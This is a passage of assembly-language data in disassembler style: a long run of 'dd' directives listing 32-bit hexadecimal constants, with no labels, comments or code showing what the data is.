		dd 0C52C19A5h, 2D708019h, 3B01679Fh, 0D525001Dh, 95CFE484h
		dd 0B506C4CEh, 0E61EDE2Ah, 38E90B41h, 805D588Dh, 6AA4C851h
		dd 9C56032Ah, 4984B30Bh, 87087B4h, 0AD217B64h, 0BACD10B6h
		dd 9E5CBB8Bh, 0E1002258h, 0A9527470h, 9981B969h, 2CCDC170h
		dd 8BA8505Bh, 0CF00D03Bh, 1950D2E0h, 2872EF5h, 8AE49B61h
		dd 0B87AAC12h, 2A60551Ch, 74BE39F0h, 3C8A7FFCh,	2E075982h
		dd 0B068C0BAh, 0E344AD8h, 0DBE59300h, 0A08E247Ch, 70560C0Bh
		dd 3041D413h, 2D636E1Eh, 0A08A048Ch, 80B8967Dh,	0BCBDFC61h
		dd 3812A8CEh, 1080FDF0h, 89670133h, 0CFD850ABh,	8473C769h
		dd 0A21808B0h, 0ED61EB1Bh, 0D07A18h, 926F7DAEh,	1ECC690Dh
		dd 0E180A89Ch, 66E54F6Dh, 86310725h, 527B0CE9h,	0DC8411ECh
		dd 4BAC40E4h, 6C7651h, 5C18D04Ch, 55602B38h, 0D24DB13h
		dd 182CF80Fh, 543E6D9h,	0A49A9089h, 728480AEh, 1C1F04ADh
		dd 0C833653Fh, 4621AC07h, 0D88114B0h, 0C892E87Eh, 5D980805h
		dd 0E40DD48Ah, 5C481F80h, 5CF4FBA8h, 6901BDBFh,	0B613037Ch
		dd 55B184FFh, 0A48892B9h, 636F01A0h, 0B698B291h, 39E0F0DCh
		dd 312D28A0h, 0EC0529C0h, 3EA3C9D4h, 3C140734h,	1F18CC03h
		dd 223259FEh, 0C37ECA00h, 0A539DBF8h, 1EA118BBh, 20E721E9h
		dd 0A9470100h, 6E182B45h, 0A70804E1h, 0A0D139BDh, 0E8444E28h
		dd 0B4DE4DACh, 0A2647888h, 0B05D8E20h, 0C0E51F80h, 0E62FB631h
		dd 0A1006D8Ch, 2A9A455Eh, 274CDEBh, 0C9566BA6h,	0CCA018D4h
		dd 0C809A03Ch, 0B6009B79h, 8632D1D2h, 0E9745E8h, 6EC2C968h
		dd 0C0854300h, 87FAE6EBh, 0A289C500h, 0A3A423BEh, 4C20398Bh
		dd 449CA9A8h, 81061306h, 258763F6h, 3A8821A8h, 0C500AC11h
		dd 0BB2B04F8h, 0EB00AFD4h, 7538E009h, 7E41F4h, 81C4D5D8h
		dd 42C2735Fh, 0B3258CA4h, 550C85A3h, 0BFFB9C80h, 26ACFC73h
		dd 11045CC9h, 705516E3h, 0F0561C0Ah, 0D9C13D82h, 1885933h
		dd 70C01975h, 8393E888h, 0EE5B3C00h, 0B1C9CAD9h, 0FAA4E45Fh
		dd 5CDA5C37h, 0CFC5E712h, 164C4844h, 0BC2964BCh, 0F99F5BDDh
		dd 16D3C079h, 6EF5B1D4h, 0AA157A00h, 0C76AFD92h, 69B8017Bh
		dd 0BF1F3A40h, 507082D6h, 0F2F89B9h, 4F3B9200h,	48B6CBBCh
		dd 49C87010h, 1092BA89h, 9F090B4h, 0DCE2D5CCh, 4D0068C4h
		dd 5BD7EFCh, 15DBD755h,	9034C3C8h, 58383011h, 4BDF8738h
		dd 7B860660h, 947213h, 412AAD83h, 0D5B37CABh, 1DC02C12h
		dd 52C88400h, 29DC73Bh,	98679436h, 3B60C98Fh, 7C035B72h
		dd 2EAFD87Dh, 5FD11D32h, 9CFEA75Dh, 0B429BC26h,	0ED7E9500h
		dd 2C9B058Ch, 476C2EABh, 986BC2DCh, 8093CF87h, 0F34586FAh
		dd 30CF2C24h, 6CB1FF0Bh, 21120C5Ch, 4F6162E4h, 83DB4E09h
		dd 0A17C001Eh, 1A0AD0B3h, 3192DA13h, 0EFE07C20h, 1A00C899h
		dd 54BA1DFFh, 0B036A24Ah, 33FC07D0h, 80A3A543h,	0AAB66644h
		dd 0AC3D6472h, 0EF868C8Dh, 53651FCh, 299A83DEh,	0B250985Bh
		dd 0F6F83409h, 831440C0h, 3EDE0CC6h, 981B41Dh, 5F36B600h
		dd 0A4740CEBh, 96A00113h, 828D6369h, 0CEA07405h, 7484BA2Ch
		dd 4E30C340h, 6708902Dh, 0C7D0491Bh, 7D364042h,	84007B4Ch
		dd 0DE0D9005h, 10EA6A4h, 0C15113BEh, 30AED494h,	0F0748400h
		dd 536AB102h, 0E42C8B50h, 6E4A1FA0h, 8107FECFh,	402E9424h
		dd 37173B9h, 0D15DFF00h, 0FAA5CDAh, 0BF30CAC4h,	0CBA00E88h
		dd 60C6C760h, 3C009318h, 2C3E7527h, 3B1586Bh, 0AB2436D0h
		dd 8391FD3Ah, 0D5FC3571h, 53901144h, 27E4F420h,	0BC0065FDh
		dd 73B21288h, 409D74BEh, 0AF260020h, 0A1B3D85Eh, 0F50B648Dh
		dd 0F278112h, 881948A4h, 0D489EB7Fh, 468C2015h,	28B78Bh
		dd 0DCA69EF4h, 1D26DE56h, 10E2C200h, 8A608039h,	0EA8E17D8h
		dd 0CDEC8095h, 0A6128882h, 0ACD4ACFFh, 0CC5054C0h, 0A6D4A68Ch
		dd 0F6F4002Ch, 0D1599E2Dh, 3773E95Eh, 0B5CFC07h, 96BEEB0Ch
		dd 3CF5488h, 9D1B7E31h,	0FCB8B043h, 0E0123F3Ch,	0FC03DA12h
		dd 0BAEEB724h, 472A5h, 9154C555h, 2CA4B8B5h, 85B9F50Ah
		dd 0C386A45Fh, 4B89381Dh, 9FD03061h, 0C70092C9h, 0DAA4FA6Bh
		dd 8AD659h, 2CDE25Dh, 953EE715h, 7E32509Eh, 87B8F3E9h
		dd 0D3FD8136h, 0D58359AEh, 0EAC6F8C0h, 6B0584B6h, 0D49D01B3h
		dd 3204BECh, 1D28445Bh,	1B89A175h, 0A59C41BFh, 3AE000B6h
		dd 40A49913h, 0AFBCAB36h, 5A6B0A00h, 394F55A4h,	69F00713h
		dd 0E0F5CB6Fh, 0D3C93A47h
		dd 21614Bh, 4AD452B1h, 0DD48006Fh, 0ABF36B7Bh, 7705AFF2h
		dd 2DB5CD22h, 0A4F628A0h, 883428F0h, 64900064h,	968BA7F8h
		dd 1E5EA55Dh, 25AD4040h, 5D8C716h, 6B38A4BBh, 87808BAh
		dd 6E2B9180h, 0B0B3F611h, 58127478h, 0FFC06497h, 21CB280Fh
		dd 0E737F01h, 5F3AA4A5h, 2254F2D6h, 550EFFACh, 8035C6C0h
		dd 74348560h, 0AF4F2C62h, 0EEC10360h, 70F76311h, 0AD29391Dh
		dd 88A5E513h, 0CF784C14h, 0BB7760D8h, 65C12Dh, 0D5A52539h
		dd 435FA9FBh, 19A10C13h, 0D0EBB50Ch, 8CBA88EAh,	1F172891h
		dd 0DF2714D0h, 196407CEh, 0E00C45F9h, 5931C458h, 0A222101Fh
		dd 0A5079466h, 0A670403Dh, 0B7CFD36h, 0DB96DD0Ah, 16CBBC00h
		dd 3C1D8259h, 63530B23h, 66F01D00h, 0BDAFCBAh, 0DEA93BBCh
		dd 4DEE7B00h, 39126145h, 6831BF7Eh, 0E10B1B8h, 125CCE34h
		dd 37870FECh, 4C7500FCh, 8002403Ah, 8A143394h, 8188D850h
		dd 63017871h, 3CA0B8F0h, 668006C8h, 4E80BE11h, 0F3049ED0h
		dd 0DB12C435h, 0EC54D0A4h, 4C41C00Fh, 6D26CA73h, 78993200h
		dd 688ED46h, 55F10B9Fh,	7C102C15h, 2F38BCC5h, 61E880EAh
		dd 5CB168F9h, 0B7A82D2Dh, 0CECAF021h, 0B4221Bh,	1C0B2795h
		dd 3E70B4F2h, 0B280C66Dh, 0C2BA8166h, 0E0B057CBh, 40A5CA0Bh
		dd 3840859Dh, 0B6A24C00h, 0B1E661Bh, 8ABAE7FEh,	0B016FCE4h
		dd 0B0202CEEh, 6F036h, 0E8899B6Ah, 6B2E8F1Ah, 0ACCB8724h
		dd 0AD683901h, 702D2D47h, 344F9860h, 8011D45h, 0ED8070C5h
		dd 7CE8C664h, 0C9A00A9h, 0B1150376h, 3808C1B6h,	601EE62h
		dd 49618FBAh, 31741F50h, 771D5300h, 25BA7AF4h, 48762CF0h
		dd 20DB173Ah, 62A53AA8h, 8C0FD324h, 1F394001h, 98758E53h
		dd 132B1430h, 9029BE52h, 84D67ABCh, 0A6ACA52Ch,	2C89FF00h
		dd 4DCD92Fh, 0AE3C301Ah, 92ACC156h, 36900094h, 0E3FF1CE2h
		dd 281A25F4h, 0F3C16B40h, 0A573D804h, 0ECC87C38h, 89A80361h
		dd 672CDBFFh, 0E398D903h, 88839EC1h, 3D183Eh, 0A841658h
		dd 101B6993h, 0D689551Dh, 9813A1C0h, 0A8B556ABh, 83039B94h
		dd 5832AC5Ah, 0C63A20B6h, 3D000BFDh, 14689D47h,	0F682F61Fh
		dd 9B9C13ACh, 0A9D8D0D4h, 707908C4h, 5FBB6A00h,	853AA352h
		dd 0E7D80E9Ch, 0DD6FD03Ch, 22B76440h, 9B00658Ah, 0CF383FBBh
		dd 0A0CD9Ah, 6A819BEh, 7DB68F6h, 2251C88h, 523B9586h, 0EC908B1Dh
		dd 3988668Eh, 0DBF2F360h, 0FDDC003Ch, 0EFE87E08h, 0B1262C92h
		dd 1F12D893h, 5648D0D0h, 0EB0D0034h, 0D3C8FDA6h, 526086BAh
		dd 176BC359h, 0C05A4B33h, 9F6C1F9Ch, 0CD998A2h,	8FA56900h
		dd 1F99820Fh, 407D79C4h, 147AF221h, 6B1C787Fh, 3FCDC286h
		dd 202A4934h, 938D699Ch, 0B912EA00h, 0AA625678h, 5906F40Eh
		dd 55C7EC5Bh, 0B4C8CBB9h, 30996439h, 0F6856700h, 2A57798h
		dd 52B83B9Dh, 0C077A020h, 0CCDD40h, 7AE41E84h, 0C0E0A3D2h
		dd 2D0CD891h, 0CC513Fh,	455B4257h, 2BBD8FB4h, 0A083352Dh
		dd 0B1273AA0h, 142F003Ch, 5F7771D8h, 0FD00732Ah, 74FAA6E7h
		dd 1DBD6B7h, 0C3547CBDh, 2EA95B34h, 183F6F4h, 0BB0E2D69h
		dd 616D1A04h, 682B2024h, 0E0A84C0Ah, 4180A43Bh,	605C34A5h
		dd 10A7782h, 55BC8F66h,	9D271CDBh, 59813888h, 0E260F18Eh
		dd 4AD64828h, 682C50h, 0E76978A1h, 0C27D72CBh, 9698180Ch
		dd 346852h, 9C354C7Dh, 51AAD067h, 0E21FA8F8h, 0A1C64F21h
		dd 79112D7h, 91F076E3h,	6EC05054h, 0E7388FBCh, 0DF9702B2h
		dd 5E568A96h, 901F164Ch, 45E532Ch, 0F519E03Bh, 5F6E3A1Eh
		dd 44B88FC3h, 0F9DB0F8h, 0BAB2168Dh, 0E0FC05A1h, 3994A4C1h
		dd 0A362AD12h, 6118E0h,	7155158Fh, 8135108Dh, 85290562h
		dd 6FC5218h, 84678C78h,	0E890087Dh, 3D283450h, 7B948F0Fh
		dd 5856811Ch, 3C206D12h, 0C12F1E8Dh, 4FDAC2CDh,	0B561990Dh
		dd 2072DBh, 1CDC815Ah, 0EE8AD35h, 5027035Ch, 7CC2C6E9h
		dd 418C5CC3h, 4CE359CEh, 85BA2C50h, 81A8944Ah, 17D2CF83h
		dd 98221Dh, 329CCE61h, 0F45308h, 0D1B1D881h, 732D050Ch
		dd 7F98E300h, 0DA8D9997h, 14D8A433h, 0B88836B4h, 2880E7C8h
		dd 5A85C26Eh, 431B00F5h, 110D393Dh, 1A5C9FEFh, 0A38C09Ch
		dd 38A6514Bh, 0A4AEA9CCh, 0FDBF0070h, 69DB3BA5h, 2CF51A24h
		dd 27028401h, 447838E7h, 7760B288h, 17DED8Dh, 0DDFF8ED2h
		dd 682FC53Ch, 0A989A0ECh, 98DD4101h, 56308669h,	78DEB865h
		dd 8BC605A7h, 0E26CB29Ch, 489300BCh, 0D2A2248Eh, 1EC80050h
		dd 0F10CEA60h, 9204BB98h, 0B1DB7093h, 103E1CA4h, 5AE2FEC0h
		dd 0DC978C16h, 13C308D8h, 0A5128404h, 34785489h, 0B8EFD180h
		dd 500A3C94h, 0F40DBA61h, 8A956205h, 63392C05h,	0F77E6C40h
		dd 9953C7E7h, 1321124h,	0B65C714Dh, 0D841D3A5h,	3907C37Ah
		dd 0ECCCA104h, 1C9E73ACh, 986CAA80h, 0CF8B6Fh, 0FE123F48h
		dd 52F90B5h, 62D0A050h,	0C06B2B33h, 0F888E4BAh,	0DC1D24CFh
		dd 20D49374h, 0D6A46168h, 0C2E8800Eh, 910BA0B3h, 120DC3FDh
		dd 84AB99B8h, 4CF780F0h, 2D023EC8h, 65BC7E2Ch, 40A456A8h
		dd 0BF7F87C7h, 0A91F7507h, 0A1309CF9h, 5EA2454Eh, 80AC5C1Bh
		dd 4D6DCD6Bh, 74B988B9h, 7056A900h, 139AABD9h, 0B41E1978h
		dd 87180F48h, 95407FF5h, 0CD3A0EF1h, 0DD60E9ABh, 0C95777D7h
		dd 0F600A07Dh, 22E5D84Ah, 19EF9A5h, 0B6DFD296h,	0C5A7E220h
		dd 0B7F0E3DDh, 0B100C738h, 3A3CFB74h, 76C4D3h, 80C8B6D8h
		dd 0BB31A463h, 51A93904h, 4C843435h, 44D944B4h,	44001D16h
		dd 0B4BF565Ah, 5C283BCh, 0E65FD4F0h, 7EC0AFEEh,	0E2A63A12h
		dd 0D47CE9A2h, 0AC8B2B84h, 0CEAF80ACh, 1DD5D6AAh, 89E607EEh
		dd 3C30BEA3h, 0DA25B304h, 38B482BAh, 0CB13270Dh, 36E37893h
		dd 0CB04517Ch, 15423EB2h, 20882C89h, 0A283093Fh, 805E0F8Dh
		dd 4631F86h, 39EF73ACh,	983E4304h, 38508EB1h, 5A80C355h
		dd 8F4BA709h, 743E53A8h, 3D246Eh, 0AC446Bh, 0EC16FB79h
		dd 319ECA33h, 0AC44741Dh, 88FC13E7h, 78519716h,	11E312D0h
		dd 726CE0BEh, 80482A5Ch, 0B7B31AABh, 0E6515890h, 72A63100h
		dd 217F2CEAh, 54F99902h, 0DA1EA0AEh, 0E0AA00A4h, 0B275CE4Ch
		dd 49FEB084h, 0CD018A7Fh, 0D8E4EC39h, 64F2135Ch, 12CE7F44h
		dd 4BC2D698h, 0D88062D0h, 8D50FFCDh, 3D00CC74h,	9C7BFD31h
		dd 942F03h, 241EAAEDh, 68BFA43Ch, 77D90400h, 7FE51B63h
		dd 5DD00E9h, 41B2858Ch,	0C0E3B02Ch, 683CC1A4h, 0B4920C80h
		dd 0F05C59BBh, 3360F98h, 0BC03F889h, 80091D7h, 0AFA547CCh
		dd 0B9DB87h, 8B35B4DAh,	3297A0F4h, 8ED61600h, 3E4FD321h
		dd 0FF30C03Ch, 0D0ABBB09h, 0DE8A171Ch, 35193018h, 0E1F700A5h
		dd 71FD655Eh, 0AB00B91Bh, 0DE8BC8B4h, 7722DD9Fh, 3C36367Ah
		dd 2F0080F8h, 0EFDFB889h, 3024D8F9h, 7718AD14h,	0C3FD2376h
		dd 0B7CCB101h, 88EC7106h, 0E6D7E08Ch, 3C3A1919h, 0B7D30056h
		dd 37365BFCh, 70E46023h, 3DE782A4h, 94029001h, 0C58C6A16h
		dd 0F307F0h, 4326F5B2h,	0E6EC1F58h, 2E663403h, 0F88FD502h
		dd 37AFBAh, 7C4F9D89h, 5CBEF071h, 0E48B041Fh, 0EA210340h
		dd 3AA3B8C8h, 2961840Ah, 0D04451A6h, 9785B8Fh, 45C71700h
		dd 6E3E4C38h, 7AAFA7Ah,	2DE56C48h, 9B5130C2h, 0A635334Ah
		dd 0E58240C7h, 45336020h, 2D1500A7h, 20F5B6Dh, 1F005985h
		dd 0FBD99989h, 0F6F4E4F6h, 39A06FA6h, 1CE565E0h, 0F319C66Eh
		dd 2F20ECDAh
		dd 6D5C4C0h, 45344FBh, 16F8A88Fh, 0F7B7AB00h, 0A88C072Dh
		dd 0E4F4002Fh, 0D99AEB39h, 0E96182F3h, 37604441h, 0CAE100E3h
		dd 0EB493390h, 0C609953Eh, 0F036FD73h, 60507514h, 8A1029BBh
		dd 0F400A609h, 3179EAF5h, 171EABh, 0D91863DEh, 147BD50Bh
		dd 80557E3Dh, 4F9A9035h, 2A7D3Fh, 0EC9903B5h, 18A78FC9h
		dd 7F1D1A1Ch, 0CAD31580h, 0E976F8Bh, 5CCF780h, 998F7118h
		dd 0CF78FA73h, 4C6C1E03h, 0C0AF4A47h, 18C75862h, 2839C027h
		dd 6300D744h, 963B94D0h, 9C4E35Bh, 0EEA25225h, 4E83E700h
		dd 0AB000FBDh, 1061BE23h, 3D303444h, 0A0D5B34Bh, 0E4208CE0h
		dd 0A3BE0C0Ch, 2B191F7Ch, 0F700F6F0h, 0CE77801Ah, 3D55F206h
		dd 8C8F037Fh, 0C9238841h, 3801764Ch, 0FD28EDEFh, 418086B1h
		dd 935C0E7Ch, 921E33A9h, 0A41DCE44h, 16DC1170h,	47A53075h
		dd 0E86F9DC8h, 4B73EB03h, 0EF131409h, 44458071h, 9C5B2187h
		dd 0D19A007Dh, 0CF01F5A2h, 0BFFDC72Bh, 5DECD3F4h, 0AD8E0035h
		dd 0BA6CFBE3h, 0CF60ACD7h, 10D8436Ch, 0F7C33DC4h, 0E7A1F8Fh
		dd 79412383h, 7264DCC0h, 372CFA0Ch, 95B98Ah, 0ACEF10D9h
		dd 630A6844h, 9C324D0Fh, 1DD01581h, 3BCFD59Dh, 8DFDE6BEh
		dd 2F7639h, 9AD989E4h, 0A2CD830Dh, 0C64B19C2h, 408CAA1Eh
		dd 0A012A360h, 5FE61h, 5B302D09h, 3BD7814h, 0DB499D00h
		dd 0F27AC4FCh, 19607779h, 81A32080h, 8ABECD0Ah,	944BA649h
		dd 0FF98F080h, 7D4E7DAEh, 0EDC30011h, 0A5DCC9A3h, 0A005C8C7h
		dd 0DDD3166Dh, 90D49C10h, 6CCF009Ch, 0BC5BC5E1h, 504B7578h
		dd 8884580Ch, 0DF0ED821h, 8F98A8CEh, 2B0A00D4h,	0E32A7853h
		dd 287DECh, 1DF82DFAh, 6E3C1042h, 0D496741Eh, 322A44C1h
		dd 0C180F4A5h, 8EB74D04h, 6D3B1FC1h, 0E87A809Eh, 0F7C006E2h
		dd 6CCC2676h, 68F00991h, 17A23020h, 37229BCBh, 0C93A0080h
		dd 0AE889216h, 8F74101Dh, 50F4CE00h, 0A7AF7DDCh, 0C834486Ch
		dd 0D78CCB0Fh, 8E78FDE0h, 0CC0ED2ABh, 8FD12B8Dh, 2DB20096h
		dd 0E683091h, 0DBB187FBh, 9CD21898h, 41359E00h,	14E1790Ah
		dd 4E4F0031h, 7B64B0EEh, 0B7F81F4Ah, 0EC23D4F9h, 94FD060Eh
		dd 403063ACh, 0EF681DADh, 830020B5h, 5D8ED0DAh,	54E7DDh
		dd 0E22CD731h, 2909504Ch, 55191501h, 0B77B308Dh, 0B3DB808Ch
		dd 721F2889h, 0A500BC23h, 0DCE5555Fh, 3A3103DDh, 2BC9E844h
		dd 0B950C0C7h, 0F8785C42h, 0E0F71703h, 0E04BD1EAh, 22D9C1h
		dd 0DC0F4ED2h, 463CCDACh, 3E1FCB03h, 0E0CCD35Ah, 0E14F6ADh
		dd 5BBE888Eh, 0E9FB6040h, 78175D52h, 0C105E3F1h, 0A021954Bh
		dd 0CA10D039h, 9C30DE1Ch, 24B0815h, 29916079h, 17403574h
		dd 0E700EBE2h, 2A47CBC5h, 4B7772h, 349A9356h, 0D424D007h
		dd 0B8C77A1Fh, 6785B500h, 2A2CE403h, 7A0BFEFh, 0A7C4A3A0h
		dd 0DF805EF2h, 0E9F247Ch, 0B37ED104h, 11802EBAh, 767841DEh
		dd 0D7EF3291h, 0CA4051A1h, 0D01FA732h, 7F3A3342h, 2A59B060h
		dd 1D8A20E6h, 648851B1h, 97BE00C0h, 8CF756BAh, 0EB2CC8C0h
		dd 3BB3A7h, 0D8D78319h,	5D087B7Ah, 503E098h, 0FBE9F74Dh
		dd 432CC2E7h, 0B279F9E5h, 1F04EFF0h, 0A109C7h, 8FBE4C10h
		dd 0CE003484h, 0B9A4A044h, 0A8EE7CBAh, 0F10DE7F4h, 0FED4998Ch
		dd 530062C1h, 0D694920Ah, 1BA746F3h, 0B08249EBh, 0BEB902BBh
		dd 0ED0396h, 613C549h, 0B185ADA9h, 639BB203h, 15F957B9h
		dd 0D08F9521h, 5A321607h, 0AFD8C0BCh, 4C7CE0DDh, 2BDFBA00h
		dd 2F8D7C92h, 0CE89C09Fh, 33E5413Dh, 73070B00h,	3A5A9009h
		dd 381D00B9h, 0B8AFD046h, 0BE4478BAh, 0AC1430E7h, 7EDBA4D1h
		dd 0F199762h, 0CF5110AAh, 50B9460Ah, 8081C3Fh, 57BA8DB0h
		dd 26C1F081h, 0A7E55000h, 0F8D7D3D6h, 2A7C1E0Fh, 0C0FA3F7Eh
		dd 0B0E2EBA2h, 0A114D816h, 3298DEECh, 23D0C8FDh, 102255E7h
		dd 95B22403h, 6AE2406Ch, 0E7097CB5h, 0F2CE99Ah,	0BA1B8054h
		dd 638B5043h, 0B2EF299Bh, 76C2A102h, 0E0160D9Dh, 60D42861h
		dd 9FC15902h, 1A1C137Ah, 1080ADE1h, 5E333975h, 0E6840A42h
		dd 878B9D8h, 4B81B515h,	0C817DF20h, 0BE70006Bh,	8F9A33B3h
		dd 0F535C503h, 8CB1A2Ch, 0AFD54D39h, 58F3289h, 401FD370h
		dd 521D5180h, 0E607D1B6h, 0AD18C0FCh, 0DFDBCEB0h, 4941824h
		dd 76427F40h, 0CFA9033h, 2A6F67BFh, 0C0A1EF3Ah,	17E71145h
		dd 91A3DC48h, 46216440h, 0F599295h, 19C86654h, 9F08B920h
		dd 8D031F25h, 6C38E0F6h, 0D482A847h, 0B9760C2Ch, 1E41B755h
		dd 319D1F1Fh, 71B4EE0Ch, 20DC585Fh, 5B605203h, 83E9986Eh
		dd 2D5D3037h, 2FEDD0Ah,	8D053C34h, 8446D52Eh, 0F8594BFDh
		dd 382A0476h, 804A46C3h, 7B7C7713h, 400F8D00h, 8F8A33D7h
		dd 3F4A653h, 0A45436DEh, 0A803BCA8h, 9FCEE28Dh,	96210093h
		dd 0B1F38C35h, 47946E9h, 3FF15639h, 8030C875h, 57CDE523h
		dd 382B1851h, 0A84EE8F5h, 680E0205h, 0D0C0BD7Ch, 0B0C84Ch
		dd 0B1D6643Ah, 85C3A3AFh, 820371ECh, 0D1D4D72Dh, 0E0F7A34Dh
		dd 794DF9Dh, 0E376243Ah, 9A5160EEh, 0C4024DB4h,	452C722Fh
		dd 8064E9h, 9A4AD9Fh, 0B0DED5F2h, 7D01330Fh, 29C46188h
		dd 0D0301FA0h, 0DB8900FAh, 8FFD85EFh, 844CD9h, 0A71FD0FFh
		dd 0ACDDB6CDh, 98E4E348h, 19C84460h, 20A57494h,	6032EFh
		dd 4CC03D4Dh, 2AFB81h, 217606E9h, 69321D98h, 0FC1E0F0Bh
		dd 0C0B80A18h, 20008011h, 94A6A793h, 7D5C9F89h,	7F1F007Ch
		dd 9719742Ah, 0B3200F60h, 0BC80C64Dh, 0A97D5E73h, 78E42D50h
		dd 4834AD58h, 1195C8FCh, 76086307h, 41BA8850h, 4468B01Bh
		dd 0EC021691h, 0AA6E2D96h, 0D4444052h, 0C149C0FBh, 0D3419F06h
		dd 7EF0C41Dh, 8420129Bh, 0F8B32640h, 0B600D047h, 60E66A2Dh
		dd 0E85B2C22h, 4C6513B1h, 0C0AD053Bh, 0B030D2ECh, 4403EA28h
		dd 81DDC7F4h, 2089F838h, 440032CBh, 2CF135C1h, 0C8F81648h
		dd 48EF64D1h, 53C883D5h, 0ED88E174h, 7C1236FDh,	5C0697E0h
		dd 71E98D95h, 35D7006Eh, 0CEE37121h, 0FC3CD02Bh, 0C99403E2h
		dd 0CF9B183Dh, 5B428330h, 33AC1213h, 0A01000BEh, 62B325F0h
		dd 9BC61013h, 0C4414400h, 35E871h, 0FD984A9Fh, 1C5AA0B8h
		dd 7C14734Ch, 6008C8CAh, 45C7CD00h, 2C44CB3h, 1335B00Dh
		dd 9CE0D3BEh, 78B97EBAh, 2060C824h, 0B88850B2h,	3EEC7C98h
		dd 3448EF3Eh, 0E100BE22h, 8B042AB1h, 7C012E9h, 4262754Eh
		dd 0D366309Ah, 0D2091B21h, 0A09EF6EFh, 46CE24B0h, 2FC80535h
		dd 88D84A77h, 66EC138Ch, 0CEBBB200h, 0CDE342D5h, 6E3000C9h
		dd 7879A481h, 10B8AC8Bh, 0C1A3DF09h, 0A0841383h, 3AB27EF6h
		dd 4B828509h, 33FDAFDAh, 8D156C44h, 2CD4FF38h, 444090DBh
		dd 170CB020h, 727E5393h, 34183AB0h, 6B7C0013h, 53A394EFh
		dd 0C2904D0Fh, 308D3809h, 0B2184918h, 660D2C10h, 4C9ACD00h
		dd 7559E38Bh, 0C109892h, 6BEAE5Eh, 0B2887C38h, 0A91D00E7h
		dd 4E1C1EC1h, 7700291Bh, 6376C57Ah, 0DFC21h, 0B0F75F9Ch
		dd 0C15049BCh, 30920CA0h, 32FD6CA0h, 0F1609451h, 635312D3h
		dd 0F190524h, 0B77F765h, 53899714h, 40B1F404h, 3CDAAE2Eh
		dd 1EFC0019h, 23F4C117h, 7E0151BDh, 543577AFh, 0C834A710h
		dd 61DBF6E2h, 9217F9FAh, 78D13042h, 3F102D1Eh, 50BCE540h
		dd 0FA519B64h, 0AD8E268Bh, 18D306FCh, 3E22B9B0h, 35760395h
		dd 0FC0911CDh, 0B14414F8h, 4AF6AD88h, 2BE82016h, 2007773h
		dd 797553B7h, 484C8409h
		dd 3480D0F2h, 0A4B8D0D7h, 0EF75A30Ch, 0F619B3h,	0BF3B0258h
		dd 173D5BA5h, 0C1B4D831h, 0C120EBAFh, 0F1E0240Eh, 0A0A21800h
		dd 0AC44C830h, 52B901Dh, 3E44C97h, 0A5BC80A8h, 0CD18AADDh
		dd 96291AE6h, 0F48E50A7h, 82A07D2Fh, 6F7E3C46h,	2AF2DF01h
		dd 4AFD9BA2h, 0EFB8E8D6h, 0BD41C0B6h, 11D9C993h, 0D149F600h
		dd 0A24CAB47h, 3E021864h, 8DB67037h, 6C012C24h,	2440F844h
		dd 29A4CB52h, 70738F07h, 6B73EC7h, 0F8378DD1h, 0ED32B210h
		dd 0BC505100h, 8B386B5h, 59B9784Ch, 2C25C058h, 77C42080h
		dd 0E713A966h, 4F14h, 67024BDDh, 11C8B984h, 6DFB00BCh
		dd 12499130h, 35D0051h,	0ED6CA061h, 0FC02BA9Ah,	0CE4DB5ECh
		dd 0A2D26089h, 0D8D9D4Ah, 7F4460D1h, 0C83B044h,	0B13E61B5h
		dd 30C1C888h, 824A024Ch, 67DF9850h, 14E61649h, 0BA904383h
		dd 4118E750h, 5AA18995h, 2B5B0064h, 0E30A868Eh,	43124285h
		dd 184EDE94h, 28207676h, 9DE1ADh, 548DFEC4h, 1544453Dh
		dd 20EB6C00h, 0FF225CE0h, 0F1BD69EFh, 0BAA08F8Fh, 6958D5E7h
		dd 0E4395900h, 3F2724FBh, 51CB00F8h, 282CBF16h,	0F404F0B1h
		dd 0D3762D9Bh, 0E6DC88h, 64DFB4A7h, 0B88D098Ch,	0C608FA7Fh
		dd 80809454h, 0FEC5D890h, 0BF3F6EB3h, 9F6F802Ah, 6A7A6B05h
		dd 0CAF6058Bh, 41193BB0h, 2894DDA4h, 0C0BC2822h, 0F82017CBh
		dd 977702B5h, 0E105B3A0h, 34406041h, 0CC962C10h, 0A3F51C41h
		dd 3BB5F0FCh, 0B303DA85h, 934D1F3Dh, 43A2B688h,	2CC7CE00h
		dd 0E55D9E30h, 0E74C1360h, 0B6A7004Eh, 8D243894h, 81FD3132h
		dd 0FB444DBh, 21361B2Eh, 5CDA9EC0h, 0E55041C0h,	0A502D354h
		dd 19DBA3B9h, 0EAC48DCh, 204B88B2h, 2B750800h, 4C87FD35h
		dd 0E8746254h, 0B201B001h, 9E41F1Eh, 0A0865494h, 0E42C00E1h
		dd 0F259A8Eh, 0C100A863h, 49ED94D1h, 9709B66h, 0B3902437h
		dd 9E76C81h, 0CB3840AEh, 4C09F687h, 4C9233C1h, 2B760050h
		dd 62251C3Ah, 146481D1h, 0DF70A229h, 0EB3A5B51h, 0E3780084h
		dd 349D1EBAh, 0EAEF83Eh, 0CC202CC4h, 0DADC0893h, 974BFD84h
		dd 102CDE40h, 3E024CEEh, 7BDFD44Dh, 0D708A00Bh,	982CB343h
		dd 0E2D34508h, 9AC8E060h, 5277E314h, 0F89B000Ch, 0D0FF36BAh
		dd 0D7ED2217h, 38819898h, 843070EBh, 0EE627701h, 0D41CDD5h
		dd 49E50850h, 0DE18A802h, 0CBDF2C2Eh, 0BD02BB30h, 17E6E449h
		dd 7B102471h, 0FE1C480h, 11C0B5D8h, 89C73EEh, 0E8F7014Bh
		dd 0BA387671h, 84643854h, 0A04BAA0Eh, 90DEFC04h, 14A69774h
		dd 3629CA7Ch, 0DB9368EFh, 302E0420h, 78860055h,	5FA191FFh
		dd 0B500CCDDh, 8EF6567Ah, 0A0B112E7h, 88CD5154h, 3724772Ch
		dd 4F0C84h, 33B0D02Ah, 99F42E1Bh, 40CB3D9Ch, 391AA634h
		dd 0BC00277Bh, 86742225h, 0DB4E23h, 0CC453C71h,	57BAD630h
		dd 106C5150h, 7C4290A6h, 30D4C101h, 0C887B140h,	97A2C95h
		dd 6B815CB9h, 1908A65Dh, 54908EA7h, 89EAED63h, 87A3263Bh
		dd 2F92290Dh, 8023E4h, 2C785E41h, 40D8D8FDh, 75D5AF7Ch
		dd 38B5F339h, 25DC80BAh, 0A80435B0h, 0F0720314h, 0C080CDDFh
		dd 8DBCC0FDh, 20B1EC2Dh, 6D4E286h, 0F95D0011h, 76EF3B40h
		dd 0DA00B9BBh, 17016272h, 124CEABEh, 1FF256h, 2A1B7909h
